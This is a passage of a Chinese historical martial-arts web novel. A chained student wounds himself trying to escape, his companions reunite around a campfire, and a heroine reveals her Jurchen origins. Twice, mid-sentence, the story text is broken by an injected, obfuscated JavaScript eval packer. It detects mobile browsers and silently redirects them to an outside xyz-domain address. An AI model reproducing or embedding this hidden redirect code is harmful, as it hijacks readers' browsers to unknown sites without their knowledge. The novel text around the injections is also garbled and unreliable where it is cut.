二人相识已近一个月,她还是第一次听仕渊讲起家事,也是第一次发觉,原来朋友之间的絮絮叨叨,并不似想象中那般令人心烦。 “所以你最后到底抓了个什么?”她收回目光,催促着下文。 “说来不怕你笑话,他们摆我面前的我一个都没抓!” 仕渊眉眼弯弯,学着婴儿走步的样子,“最后我摇摇晃晃地站起来,扑向了一旁的火炉,幸好三叔动作快抓住了我。” “倒像是你的作风。”燕娘暗自窃笑,“那敢问你家长辈作何解读啊?” “当时那么多宾客围着,还能怎么解读?”他无奈地耸了耸肩,“那时火炉上正温着一小壶牛乳,我外公便称我是冲着那牛乳去的,小小年纪便有反哺之意,将来必是个大孝子!” 说到这,仕渊一阵心虚——若是外公泉下有知,自己的好孙儿如今无功名无利禄,还途生了这么多事端,定气得把这“大孝子”架火炉上烤罢! 闲聊片刻,燕娘忽然勒马,脸上笑意烟消云散,双眼直勾勾地盯着前方。 “怎么了?”仕渊顺着她的目光张望。四下并无异状,林子还是那片林子。 “那块巨石……”燕娘指着前方,神色愈发慌张,“我方才将君实公子藏于那巨石之下,但是……” 但是那巨石之下除了一滩血迹与一块撕裂的衣角外,别无他物。而空气中隐约有股奇异的味道——一股绝不应该出现在这深山老林的味道。 35.嘉木本是栋梁材,何堪野火炙神骸(上) 陆君实年纪不大,恐惧之事却不少。 若是平时在书院,或是被长辈问起时,他定会答曰:吾一恐天下贫者无立锥之地,二恐子欲养而亲不待,三恐礼崩乐坏国将不国——总之没有一条是关乎自身的。 直到眼下独坐幽林,看天光渐弱,听哀风四起,他才慢慢领教到“恐惧”二字的真正含义。 一面警惕着野兽匪徒,一面担忧着一去不返的友人,任何一点风吹草动都能让他心悬片刻,然而他除了等待,什么也做不了。上一次的等待让他一个不信神佛之人,花了七成月钱换了两张薄符,而这次的等待,他唤遍了漫天神佛,却只有寒鸦回应。 那不详的“钟声”仿佛还在耳畔回荡,君实蜷缩在巨石之下,双眼直勾勾地盯着燕娘留下的匕首,直到残阳消尽,匕首上的宝石不再耀眼。 先前燕娘带着他自瀑布旁的山石借道而下,随后入林中寻到此处巨石,前后不过一炷香的时间。而现下他已枯坐了两三个时辰,仍无一人归来,他只能想到一种可能——仕渊的铜炉脱身之计并不成功,并且还搭上个送上门的燕娘。这三人怕是已经被山贼俘获,被押往摩云崮了。 当不久前还嬉笑怒骂的人们转眼便生死未卜时,才知人力有所不为,天命有所不违。 天命……他无奈地看了看身上这铁索,垂首间阴云上脑,如临深渊,不知该何去何从。 难道这也是天命的一环? 他曾坚信心智之苦、筋骨之劳、体肤之饿,皆是天将降大任于人的先兆,却从没想过这满世间的冤魂,哪一个不曾有心智之苦、筋骨之劳? 苦难就是苦难,既非磨砺,亦非先兆,而他如今一切苦难的源头,就是这该死的铁索。 思至此处,君实咬牙切齿,愤懑地将身体撞向身后巨石,发了疯似地企图挣脱铁索的桎梏,可哪怕他粉身碎骨,这铁索与巨石依旧岿然不动。 遥看前路后路,皆被重重大山包围。他这状况既翻不了山,也采不了果,怕是来不及给野兽做磨牙之乐,便先行饿死在这深山之中。 可是书生之死,不应当犯颜直谏,血溅三尺而令天下缟素吗?焚膏油以继晷,为的不是有朝一日回狂澜之既倒,支大厦之将倾吗?该做的事都还未来得及做,更何况他现在是另外三人的一线生机! 愤懑间,一道寒光闪过脚边,他再次望向了那把匕首。 断臂,这大道至简的办法,林子归早就给了,只不过非要等到山穷水尽才知其可贵。他一人孤掌难鸣,但好在还有个身手不错的秦怀安,只要能活着走到益都府向秦大人求援,二人总能找到救人的对策。 虽说自断一臂能从铁索之下脱身,但少一肢即为废疾,而废疾者,诸州不得解送诸科贡举,礼部亦不授牒。贡举入仕对君实而言重如生命,弃之有如轻生,况且身体发肤受之父母,毁之乃大不孝。 踌躇再三,他还是伏身叼起了匕首,比着自己上臂的位置,将刀柄死死地固定在石缝之中。 在“苟全”与“情义”中,他选择了后者,因为仕渊便是这么做的。 从茱萸湾将香囊挂在自己脖上,再到山顶小庙里笑嘻嘻地钻进铜炉里,仕渊一直都将“义”置于“己”之前,而君实无法忽视这份情义。 说做便做,他衔住大氅领口,将左臂对准了刀剑的位置,随后眼一闭,牙关紧咬,向刀尖撞了上去。 “卟”地一声,匕首刺破锦布攮入了血肉,尚未伤筋断骨,君实便后悔了。 痛,太痛了!痛得他四肢百骸都无所适从,像尊石像般定在原地,进退两难,不敢妄动分毫,最后只能挣扎着将身子从刀刃上褪出。 手臂在汨汨地流着血,将大氅染得洇黑一片,他两眼发昏冷汗直流,双腿一软便跪在了地上,眼泪不自觉地往下流。他恨自己好生没用,这么轻易便教疼痛动摇了救人的决心。 啜泣中,他佝偻起身体,直到身体失去平衡,一脸栽进泥土里,卑微得不能再卑微。 可惜屋漏偏逢连夜雨,未等他缓过劲来,又听巨石后林间窸窸窣窣,隐约夹杂着喘息声。君实惊觉不妙,以为是那帮山匪在找寻他这漏网之鱼,便强忍疼痛不敢作声。 那喘息声由远及近、形单影只,似乎并不像搜山的匪人,嘶嘶呼呼,沉闷有力,且伴随着扑鼻而来的血腥之气。 不好,这茹毛饮血的孽畜终于还是来了! 人在虎狼面前,纵有百口也辨不出个生路,眼下君实倒巴不得来者是个山匪。 他跪在地上屏住呼吸,随着那声音紧邻巨石,心提到了嗓子眼里,有如擂鼓,手臂伤口之痛也随之翕动。 若是寻常猛兽闻到他伤口的血味,定会兽性大发有所反应,然而僵持了片刻后,那野兽不仅没有动作,似乎连这巨石之下藏了个人都不曾察觉。仔细一听,那窸窣之声中夹杂着草叶断裂与连根带土被拔出的声音。 原来是食野之苹的林鹿野兔之流。 虚惊一场,君实长舒一口气,手臂似乎也没那么疼了。血依旧在流,但断臂是行不通了,接下来该何去何从呢? 他背靠巨石瘫坐下来,想到自己青灯黄卷十余载,却做了他乡孤魂,不禁伤春悲秋,仰天嗟叹:“哀吾生之无乐兮,幽独处乎山中!”【1】 话音未毕,那草丛中的野兔突然没了声音。下一秒,一张黝黑的大脸遮住了头顶半边天,与仰面恸哭的君实四目相对。 “俺娘嘞!先生恁咋在这儿?” 纯哥儿扒在巨石边缘,只露个脑袋朝下看,咧出一口白牙,欢喜得像只小狗,浑然不知自己的出现对君实来说有如一道曙光。 他见君实两颊泛着银光,一副楚楚可怜的模样,便憨笑道:“好喊佬,啃干瓢!咋哭了?怕黑?” “吾,我,俺……” 君实支支吾吾半天说不出话来。他呆呆地仰视着“曙光”,屈子怀沙之情一扫而空,直到“曙光”从巨石上跳下,拿腌臜的衣袖去擦他的泪痕,才回过神来。 “你身上这是什么味?”君实偏了偏头,躲开纯哥儿袖口的血腥气,“你在此处作甚?少爷呢?” “我抓了几条鱼,可能是杀鱼时沾上的味。”纯哥儿嗅了嗅衣袖,不以为然,“我方才在后面半山腰生火,忽然发现这山上有不少荠菜,就一路开挖,挖着挖着就到这儿了!” 说话间,他将腰间布兜摊开,抓了把菜叶在君实眼前晃了晃:“瞧,这么多!可惜有点老,不好挖,多亏了时小五留下的金钩……” “先不说这个!”君实担忧得紧,多少失了耐性,“少爷呢?之前山上那声巨响怎么回事?你们有没有碰到燕娘?那伙山贼走没走?” 纯哥儿收起布兜,与君实一同坐下,将二人顶着铜炉逃出生天的事一五一十地讲了出来。 “跳崖!”君实简直不敢相信自己的耳朵,“然后他为了救你,又坠崖?” “昂,对啊,我头上这个大包怕是得顶几天了……”纯哥儿搔了搔后脑勺,疼得“嘶”一声收回了手,“我刚一上岸就赶下山去捞少爷,但你猜我看到谁了?摩云崮那个二当家!就是前两天在兰陵客栈撞到的那位,俺娘嘞,吓得个我哟!” 他打了个寒颤,继续道:“那贼人光着上半身,胸前纹着花,一身的蛮肉块子,腰间还别着俩烧火棍,一个能打十个的样子,还好我躲得远没被他发现!等了半天也不见他走,少爷还在水里飘着,我急得准备撸袖子跟他拼命,结果你猜谁又来了?” 手臂还在隐隐作痛,君实见纯哥儿并无担忧之色,还讲得如此起兴,便知仕渊多半是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894120|157046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被燕娘救下了。 “是大姐!”纯哥儿自顾自道,“大姐腾云驾雾而来,进水里一通扑腾就把少爷捞上来了!而且你猜怎么着?” 他蓦地一改神色,颇有些下流地诘笑起来,“大姐把少爷拖进草丛里,然后当着那山贼的面儿,就,就那个了少爷……” 说罢,纯哥儿伸出两个拇指对了对,随后捂起黑红的脸,笑得像个黄花大闺女。 “救人要紧,不拘礼法。”见纯哥儿这扭捏样,君实的心又悬起来了,“那然后呢?别告诉我你不好意思看,就跑了!” “昂对啊,恁教我的,非礼勿视嘛!” “……” 君实差点就要詈语伺候,怎奈伤口又涌出一茬血,本就久未进食的他更觉两眼发昏,顿时没坐稳。 “先生!” 纯哥儿一把揽住君实肩头,却不想力道太大触及伤口,痛得君实倒抽一口气。他忽觉手中湿热,摊开手掌满是血迹,惊慌中四处查看,这才发现石缝中嵌着一把匕首。 “无事!”君实不想有自戕之嫌,便强打精神欲盖弥彰,“就是……就是不愿继续拖累大家。索性方才无事,便试试能不能用这匕首挑开这锁链,没成想……” “没成想把自己捅了个窟窿眼儿?”纯哥儿连连啧舌。 他从衣角撕了块布条,然而这布条湿漉漉地还带着股鱼腥味儿,实在不敢往君实伤口上贴,便随手一扔,又从君实里衣下摆扯了条布。 “有甚拖累的?先生书读得多,没想到也有脑子转不过弯儿的时候。先生不受这一遭,我怕是还在陆园掌灯巡夜呢!少爷记不住我,也没人肯教我识文断字,吃不上涌春楼的索唤,更是不知何时才能回家乡看看。” 纯哥儿一边为君实包扎,一边继续道,“至于少爷嘛,此事因他而起,谁拖累谁大家都清楚。但少爷他多金贵啊,谁敢多嘴?可谁又能想到他真的把这事儿揽起来了!” “确实,我与他朝夕相处两年,亦未想到。” 见衣袖被尽数染红,君实别过脸去,苦笑道,“仕渊一度对我厌烦至极,而我也曾嗤他纨绔懈怠、不是同道之人,其中情谊不过是靠一纸文书维系而已。我原以为他又心血来潮,想借此事故游山玩水一番,谁知他会以命相搏。他是真荒唐也好,有愧于我也罢,总之,以前是我断章取义了。” 纯哥儿连连点头,待包扎完毕用大氅掩好,回道:“不瞒恁说,我在陆园的这几个月,总觉得少爷像个泥菩萨,穿着彩衣还总是笑眯眯的,但实际没啥感情。要是没人供着护着,就是个土壳子,时间一久,不等别人摔,自己就裂了。但经历了这一遭,我才发现这个泥菩萨不仅有血有肉,能赶车能拉纤,甚至狠起来还敢抢山贼——” “抢山贼!”君实猛然回头,“他不是被山贼抢走了吗?” “少爷要是被山贼带走了,俺还能站这儿跟恁拉卦?” 纯哥儿大嘴一咧,漏了满嘴乡音,“当时我寻思,大姐跟那山贼都是女直人,老乡见老乡,磨一磨求求情这事儿没准就过去了,我留在那儿反而是个累赘,还不如趁机会折回去把驴牵过来。结果驴没找到,等再猫回去一看,好嘛!正好撞见少爷把正要跟山贼回去的大姐给拉上马,一溜烟儿跑没影了!” 他在裤腿儿上蹭了蹭手上血迹,啧啧称奇道:“要说咱少爷,也真是猛!抢了山贼的马,跑两步觉得不够划算,还折回去把山贼的女人也给抢了,大快人心!” “俺娘嘞……”纯哥儿耳根挂上一丝红晕,不停地搓着手,“黑灯瞎火地,这俩人连个影子都不见,做甚呢啊……” ------------------------------------- 【1】取自屈原《九章》之《涉江》。 36.嘉木本是栋梁材,何堪野火炙神骸(下) 不管这二人现下在做甚,没有落入山匪之手便是万幸。可仕渊这家伙,为惩一时快意,竟与摩云崮结下了更大的梁子,后患无穷! 君实脑中一阵嗡鸣,又暗自忖度起来。 眼下四人均已平安脱险,但这平安来得太过侥幸,不仅需要仕渊拿性命来做赌注,自己还差点白白搭进去一只手臂。这次得亏燕娘做了“及时雨”,纯哥儿送来一剂“定心丸”,不然结果想想都令人后怕。 然而今后的路途不知还有多长多险,怎能次次指望他人相救? 燕娘虽有承诺在先,但至今意图不明,且有诸多古怪,现已得其所愿与秦怀安回到北地,随时都有可能不辞而别。 纯哥儿虽是陆府家丁,但实则受人蒙骗,卖身南朝非其所愿。他为人本就投机市侩,如今家乡近在咫尺,难保不会知难而退,脚底抹油。 诸事未了,又徒增烦忧。 这一天,这一劫,可真是漫长啊! 君实心累至极,两脚一摊仰靠在巨石上,心道纯哥儿火也生了鱼也劏了,仕渊二人怎地还不出现? 阖目后,他脑中浮现出阿朵羞红的脸颊,以及燕娘为仕渊渡气的景象。 这小少爷的确生了副好皮囊,虽然容易招蜂引蝶,其实并非坏事。燕娘听到“钟声”后焦急的模样,君实是看在眼里的,谁能断言她冰山般的外表下不会生出慕艾之情? 若是有人稍加推波助澜,这一路便稳住了个“急先锋”。 但光有个“急先锋”还远远不够。仕渊娇生惯养尚且不论,他自己更是连生活起居都不便,所以这一路他们更需要一个“高力士”——一个不辞辛苦、心甘情愿供他二人驱策之人,而纯哥儿无疑是最佳人选。 可仅凭仕渊空口白牙许诺的入籍与薪职,真的能稳住纯哥儿么? “先生?” 纯哥儿见君实许久不作回应,摸了摸他额头,又查探了一番伤口,嘟囔道:“这小伤而已,不至于吧……难道是方才饿昏头了?胡思乱想干傻事,看来是没饿习惯……” “看来你是以前没少饿啊。” 君实起身坐直,悯然一笑,温言道,“算了,谁也别饿着了,坐在这里干等也不是办法。你方才说你在半山腰已经生了火,还挖了荠菜抓了鱼?旁的能入口的还有甚?” “有倒是有……”纯哥儿掰着手指头道,“破庙里的两捆腊肉被我捡回来了,旁的还有前两日买的炊饼,可惜被水泡糊涂了。哦,还有少爷酒坛子里剩的两口酒,我没舍得扔……” “幸甚至哉,这些足够了!”君实神采焕然,“速速带我去半山腰,我教你做两道涌春楼名菜。仕渊鼻子那么尖,生起火做起菜,他寻着味就能找到我们!” 纯哥儿一听涌春楼,想到了坤珑阁里饕餮闲散的孟夏,两眼立刻放光——君实的烹饪之道,他是见识过的,毕竟他在扬州吃的第一顿美味,就是君实的手笔。 被陆伯金辞退那一晚,君实准备的一大桌辞行宴,仕渊一口没动。君实特意将鹅架子和小菜留下,以答谢帮助自己起居的人,而丫鬟书琼姐随口一叫,这个人便成了纯哥儿。 当时纯哥儿帮君实铺床洗面,可这位神童伴读却止不住地流眼泪,一面道歉,一面叮嘱他务必趁天黑没人注意时,到柴房去一趟,里面的佳肴任他享用。 纯哥儿刚进陆园没几个月,又是个“北方侉子”,免不了被府里老油子欺负,脏活累活都推给他干,好吃好喝的却轮不到他。乍一听能将主家的佳肴占为己有,何乐而不为呢? 那一夜,仕渊在大伯门前长跪不起,君实在冷榻上起了轻生念头,而纯哥儿却躺在柴房里美滋滋地啃着鹅架子。 窗外大雨瓢泼,他偷偷点起一炉炭,一边剔着牙,一边望着杏林及第通明的灯火,忽然觉得扬州的日子也没那么糟。少爷身边那个伴读,并不像其他下人口中的那般“故作清高”,相反,哭得梨花带雨的样子还教人怪心疼地。 所以,当仕渊选人去坤珑阁照顾君实吃喝拉撒时,其他仆役都噤若寒蝉,只有纯哥儿毛遂自荐站了出来。未等仕渊向大伯母请示,他便自行到君实屋里打包收拾,屁颠儿屁颠儿地往坤珑阁进发了。 其实无须君实刻意讨好,这个“高力士”的心早就被稳住了。 或许始于杏苑及第那个偷飨的雨夜,或许始于坤珑阁中写下“得莫能忘”四字时,也或许始于仁丰坊里,君实笑盈盈地请他吃酥酪的那个午后。 “山路不好走,我来背先生!” 纯哥儿实在好奇要怎么在这深山老林里鼓捣出涌春楼菜品,于是上赶着伏在君实面前,拽着锁链将他拉到后背上,撒开腿便往坡上跑。 ------------------------------------- 燕娘盯着巨石前的一摊血迹,一时慌了神,踉跄下马。 仕渊捡起了地上的布条捻了捻,又嗅了嗅,随后会心一笑:“我可舍不得让君实穿这种粗麻布。况且他的里衣可是泡过长恭浴亭香汤的,哪是这腌臢味!” 他鼻头翕动,发觉空气中隐约夹杂着鲜味与焦香,甚至有几分东关街后巷的烟火气。腹内馋虫作祟,他跟失了魂似的,闭起眼寻着味便往林子里钻。 林中幽暗,燕娘牵起马儿,寸步不离地跟在后面。走了不到一盏茶的功夫,果然见山腰处一石台上传来火光。 火光中君实跪坐在地,不停地捣拌着一个酒坛子里的东西,若非锁链加身且深空无月,倒是像极了捣药的玉兔。 “玉兔”往酒坛子里又放了些“药草”,随后将酒坛子封好置入了火堆中,开始指导一旁的纯哥儿烤鱼,全然不知自己满心担忧的人,正在咫尺间的黑暗中看着他发笑。 马儿打了声鼻响,纯哥儿一惊,见来人是仕渊与燕娘,熏得乌黑的脸上立刻咧出一排白牙。 “少爷!大姐!” 他把手中烤鱼往石板上一撂,也顾不上什么礼节,油乎乎的双手往裤腿上一蹭,迎面跑去给了仕渊一个熊抱,“活菩萨哟,恁可差点儿吓死俺!幸亏恁福大命大,不然俺这辈子都没脸活喽……” 他憋了一下午也没憋出什么感激之辞,只能抱着少爷干嚎。仕渊此时已是疲惫不堪,纵使纯哥儿满身油污腥味,也没有推开他。 透过纯哥儿的肩膀,他见君实颤颤巍巍地站了起来,眼中怒火不亚于身后的篝火,便知自己这次真的玩过火了。 “小堂叔!”他冲君实挑了挑眉毛,嬉皮笑脸道,“捣药呢?” “陆秋帆,你个赌徒……” 君实一改以往的沉静恭谦,几乎是咬牙切齿道,“本事不小啊,那么高的悬崖说跳就跳!” “我这不是没事儿嘛!”仕渊摊开袖子转了一圈,拖着步子蹭到君实面前,“不跳一次崖,哪能算行走江湖呢?” “可你走得是黄泉路,你的江湖也不在这里!你自己上赶着去地府叩门,作何要带上纯哥儿?他愿不愿意陪你玩命,你问过吗?” 君实言辞锋利,一双凤目直视仕渊,似有野火摇曳,也似有泪光流溢。 “天地为炉铸你此身,造化为工赋你此运!蝼蚁尚且贪生,岂有人这般不惜命?” 他步步逼近,声音摄人心魄,“你高风亮节君子大义,你舍己为人虎口夺食!但你逞英雄前,有没有想过那些等你归家的人?有没有想过你大伯与父亲!有没有想过——” “我”字尚未出口,君实喉头忽地哽咽,眼泪夺眶而出。他本能地抹去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14906775|157046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这不争气的眼泪,奈何囿于铁索,猛然一抬手间挣得伤口愈发刺痛。 手足无措之际,眼泪被天青色的袖摆拭去,下一秒,他被仕渊拥入了怀中。 “对不起,君实,让你担心了。”仕渊丝毫没有为自己辩解,只是不停喃喃低语着,“是我的错,以后再也不会了……” 昔日神气洒脱的小少爷三番五次服低认错,君实既委屈又不忍。他知道自己方才话说得太重了,也知道自己七尺之驱哭起来很丢人,但挚友的怀抱反而让他溃不成军。 “线索全断,金蟾子找不到了!锁链解不开,秋赋也与我无缘!十年寒窗,我该何去何从啊……” 他彻底卸下了矫饰,趴在仕渊肩头恸哭。一个月以来的体肤之痛、心中不甘,以及竹篮打水一场空的失落,此刻全部化为江水决堤。 “我这一辈子算是毁了,但你没有后顾之忧啊!你不用缩衣节食,你不用拖家带口!只要你想,便能坦荡荡地秋赋入仕、平步青云!那么多人都盼你好,你怎敢不惜命啊陆秋帆……” “君实,莫要气馁,眼下还未到山穷水尽之时。” 仕渊拍着君实后背,安抚道,“金蟾子尚在人间,线索也未断。方才燕娘救我之时,从塔斯哈那里得到了两个消息,你且听我说……” 看着三个初逢大难的少年抱作一团,燕娘识趣地将马拴好,独自坐在篝火旁。 是啊,眼下该何去何从呢?是继续陪他们走下去寻那一线希望,还是干脆如林子规所说,杀鸡取卵,拿到锁链后去打听蔡锐那厮的下落? 其实不光君实迷茫,她亦然。君实尚且能在仕渊怀里哭一场,而她只能躲在一旁,默默地揉着先前脱臼的臂膀。 自骆马湖畔得知家人噩耗之后,她一连几日都神思郁结,食不下咽,这蒙山几番来回更是耗尽了体力与内力。眼下劫后余生,她终于卸了劲,久违地感到腹内空虚。 她自小行九食斋早已习惯辟谷。上一次忍饥挨饿,还是两年前跃入大船离开仙音岛后,也是与她金蟾子相识之时。 野火在黑暗中“噼卟”作响,火光映在她冰原般的面庞上,似困兽磨爪,似蝮蛇狂舞。 那时她尚在罗芒宫,一日清晨,仙音岛滩外破天荒地停泊着一艘大船。 下到滩涂前,她见师尊镜姬正与一矮胖的褐袍道士,及一黑衫秀才周旋。 “先师遗训,令我等清静修为,不涉尘务。那昆吾剑与仙音岛毫无干系,何故要本宫出山?要怪只怪龙门派后继无人!” 师尊最后的话语至今还在她耳畔萦绕,一声“昆吾剑”让她心生躁动,再也无法自欺欺人地假装“清净修为”。 彼时,她一心想借大船离开那座闭塞的小岛,故而施展轻功,赶在大船起锚之际跃入船内。 毕竟是个身无分文的偷渡客,她只能找个地方悄悄躲起来,等船靠岸,再悄悄地溜下去,不去惊动任何人。 她记得自己额涅曾说过,登州坐船至高丽只需三日。所以她寻思哪怕这船不去对岸蓬莱,而是驶向南朝的,也要不了多久——都是说官话的,还能比那说高丽话的更远? 然而船在汪洋中飘泊了十日,她也在漆黑的窖舱内蜷缩了十日,水米未进。 她终于受不住了,睁眼闭眼一呼一吸都只有个“饿”字,什么食气法、子午诀、化身坐忘,统统都不管用!甚至连船员进舱取酒时,她都没有余力往木架后多挪一寸。 于是第十一日的深夜,她强撑着爬出窖口溜进寝舱,找了个离得最近且鼾声最大的席铺,打开了铺主的行囊——没有吃的。 正当她准备摸向下一个人的行囊时,鼾声骤停,后襟被那铺主一把揪住。她来不及使出任何招式挣脱,就被拖出船舱。 37.海岱日悬两重天,齐鲁遍地生金莲(上) 借着月光,她发现此人竟是仙音岛岸边与镜姬对话的矮胖老道。 这老道见她面色不济又瘦得皮包骨,立马探上她的寸关尺脉,片刻后低声诧道:“你是罗芒宫人?” 她用尽最后一丝力气点了点头,转眼便倒在甲板上。依稀只记得昏厥前,这老道士往她嘴里塞了一颗药丸。 再度清醒时,她又回到了那个逼仄又充满酒气的窖舱。 道士的药丸吊了她一命,却远没有神奇到让她再度像个活人,而道士自己似乎也左右不了这艘船的规矩。大船依旧在茫茫大洋上航行,她也依旧藏身于这片黑暗中,不知日夜晴雨,不知身在何方。 好在时不时地,这片漆黑中会短暂地亮起一线光,伴随着老道士一声“丫头”的低唤,落下一点吃食。 “丫头!” 光亮消失,今日落下一囊清水同两块肴肉。 “丫头?” 窖门被轻轻合上,她应声爬了过去,摸到一颗白菜同半张炊饼。 这仨瓜俩枣的嗟来之食,是她活命的依靠,也成了她脱身的唯一希望。直到数日后,窖门大开,天光刺得她睁不开眼。 仰头见窖口站着的是老道士,她以为大船终于要靠岸,便从黑暗中爬了出来,却听那老道士一声叹息—— “丫头……” 来者并不只他一人。 一根极细的银丝横在老道士喉间,而他身后站着的,正是那日同登仙音岛的瘦高黑衫人。 这人一双骨节分明的手上戴满了戒指,正拈着银丝两端,教老道士动弹不得。 他深目鹰鼻,像只夜枭般睥睨着她,阴恻恻地笑道:“仙音岛还真是客气!不声不响地,又送了鄙人一个大礼。喏,这只老□□送去陪你,就当是回礼了!” 说罢,他双手一翻,银丝凭空消失,紧接着那老道士被踹进了窖舱内。窖门紧闭,这次被锁得严严实实。 如此这般,她结识了金蟾子。 本想渡海寻亲、终结经年梦魇才潜入大船的她,走进了另一个梦魇。 ------------------------------------- “大姐?” 一声呼唤将燕娘拉出回忆,面前是纯哥儿一张乌黑质朴的脸,左右环坐着仕渊与君实。 “俺听见恁肚子‘咕咕’叫,定是饿海了!” 纯哥儿拾起一串烤鱼递到她面前,“今天恁是大功臣,最大的这条孝敬恁!先生管这叫‘云蒙鱼鲞’,趁热吃,可恣了!” 烤鱼外皮金黄焦香,肉质细嫩,鱼腹内夹着片好的腊肉,正滋滋地往外冒油,鲜美中更平添一份烟熏风味。这本应让人吮指大啖的山野美味,却只换来了燕娘的一阵蹙眉。 仕渊瞥见她神情怪异,暗自生笑,故作正经道:“此物油腻荤腥,四样全占。你大姐半个道姑,别为难——” 燕娘一把将烤鱼夺走,拿在手里看了又看,闻了又闻,宛如饿狼嘴边放着颗白菜,左右为难。 “小生深知恩人不喜荤腥,故特备了素食。”君实的情绪稳定了许多,声音细如蚊蚋,“就在酒坛子里,如若不嫌弃,请便吧。” 酒坛子在篝火余烬中煨着,想起先前君实“捣药”的情景,仕渊好奇地凑上前去,却见自己那价值不菲的匕首被丢在地上,不知何时成了庖厨菜刀,上面沾满油渍与灰烬。 这匕首……还是别要了吧。 他指尖拈着刀柄将匕首“救”出来,撬开酒坛子朝里望了一眼,随后冲纯哥儿招招手,道:“小伢儿,来。” 纯哥儿不明所以近前来,仕渊拉起他的衣摆,将匕首仔细擦拭一番,纳入鞘中奉还给“恩人”,连带着奉上了那坛清甜扑鼻的“斋饭”。 “云蒙东坡羹,恩人请慢用!”仕渊毕恭毕敬道。 这“东坡羹”青白一片略带酒气,像是菜粥,又似是面汤,粘粘乎乎,不可名状。 “手头可用食材实在匮乏,四周又没应季蔬果,让各位见笑了……”君实耳根泛红,实在不好意思说这“东坡羹”,其实只是坡下撬出的老荠菜,混着湖里泡过一遭的剩炊饼。 “无妨,甚合我心。”燕娘端过酒坛,丝毫不嫌弃,反而会心一笑,“我年幼时家中遭难,曾大病三日。将我带回人间的,便是与此相似的一碗菜粥。” 她吹着坛中滚烫的热粥,再度抬眸时,却见仕渊与君实欲言又止地望着她。 “你们怎地不吃?”燕娘不解,“有话要说?” 二人挤眉弄眼地瞪着对方,却始终三缄其口。片刻后,君实温言道:“这还是姑娘第一次说起自己往事。我们一路同行,却对你不甚了解,只知阁下身怀绝技效力于林家班,名唤‘燕娘’。但昨日在阿朵门前姑娘又自称姓‘秦’,恕在下冒昧,不知姑娘与秦大人有何渊源,又怎会用女直话与那山贼周旋?” “与秦大人的渊源……”燕娘端起酒坛,慢条斯理地吃着菜羹,脑中思量不断。 天祺节前夕,她初到扬州便直奔秦怀安的家宅窥探。 彼时秦怀安归家准备休沐,手中拎着几包雪花酥,两个孩子围在他身边,你一言我一语地讲着学堂里的见闻。院中挂满花灯,妻子为他褪去官服,口中盘点着已经为谁写好了贺帖,又要去谁家走动拜谒。 这其中自然没有她,而她也不忍让二十年前的血仇冒然毁掉这份祥和。 怎样让秦怀安助自己一臂之力,又不打扰到他现今的生活呢? 苦思冥想,还是借公务之便稳妥些。这期间,她打探了一些城中权贵,可这些高门大户实在难以接近,更遑论听她一言。 天祺节第二日,她在扬州城内漫无目的地游走。眼看就要离开扬州,她心中没了寄托,便来蕃釐观为家人点灯烧香,不想被一阵读书声吸引。 才子佳人的戏码她听过也演过,却未曾真正走入书院。堂内讲师滔滔不绝,她也恹恹欲睡,正准备离去时,但听堂内传来一句:“堂堂尚书家公子,却不如一个伴读知书达礼,我奈你何如?” 尚书家公子?她就着门缝向内窥视,见一秀颀背影立于门内,而这人怒拍桌板,转身便要离去。 她飞也似地冲出观琼书院,一路跃至无双亭内,脑中不停地盘算着要如何以这公子为饵,请当朝尚书派遣秦怀安北上。在□□与绑架之间,她毫不犹豫地敲定了后者。 手中冒着冷汗,指节被按得“啪啪”作响,她目不转睛地盯着那夺门而出的襕衫公子,见他在琼花道间垂头丧气,又见他对着一池锦鲤絮絮叨叨。终于,公子起身回首,轮廓在郎朗日光下有些不真实。 四目相对间,他灿然一笑,而她落荒而逃。 “猎手”在青砖巷中辗转迂回,恨自己一时心软,将这到手的“猎物”放跑了。她花了一整日,在扬州城内四处打听,拼凑出了这尚书家公子的家世为人。 该不该利用一个心迹两清之人呢?狠得下心伤害一个无辜书生吗? 左右为难间,她扮上红妆,再度踏上骷髅幻戏的氍毹。好巧不巧,那“猎物”也走入了她的看客席。 ------------------------------------- 见燕娘沉默不语许久,仕渊揉了揉额角,道:“秦大人能如姑娘所愿来到这北方故地,小可自认也是出了不少力的。茫茫人海,相识即是缘分,阁下于我等又有救命之恩。若能告知真名来历,他日小生也好为恩人燃灯祈福。” “净是些虚头巴脑的……”燕娘嗫嚅道。 正如仕渊所言,她的目的已经达到了。相识许久且共患难一场,她何尝不想坦诚相对?但她的前路不止于此,往后纵使腥风血雨,也与面前三人无关。 “你既已猜到,何必非要我亲口承认?”她放下酒坛,哂笑一声,“不错,我确实是女真人,也就是你们口中的女直、金贼、鞑子。” 她掏出巾帕揩拭了下嘴角,面不改色道:“我本姓蒲鲜,汉名归雁,族人大多称我为哈儿温。秦大人家与我异姓同门,故而大金覆灭后,为避免灾祸,我私自借用了秦大人的姓氏。我二人本是登州人士,少时南迁路上走散了,这一别就是二十一年。我谋划此行,无非是想带秦大人一道回乡祭祖,所以你们切莫多想。之所以没有一早告知你们缘由,就是怕你们会怨恨忌惮我的出身,或是传出去会给秦大人仕途上带来麻烦。” 仕渊敷衍地点着头,心中满是狐疑——自己忙活半天 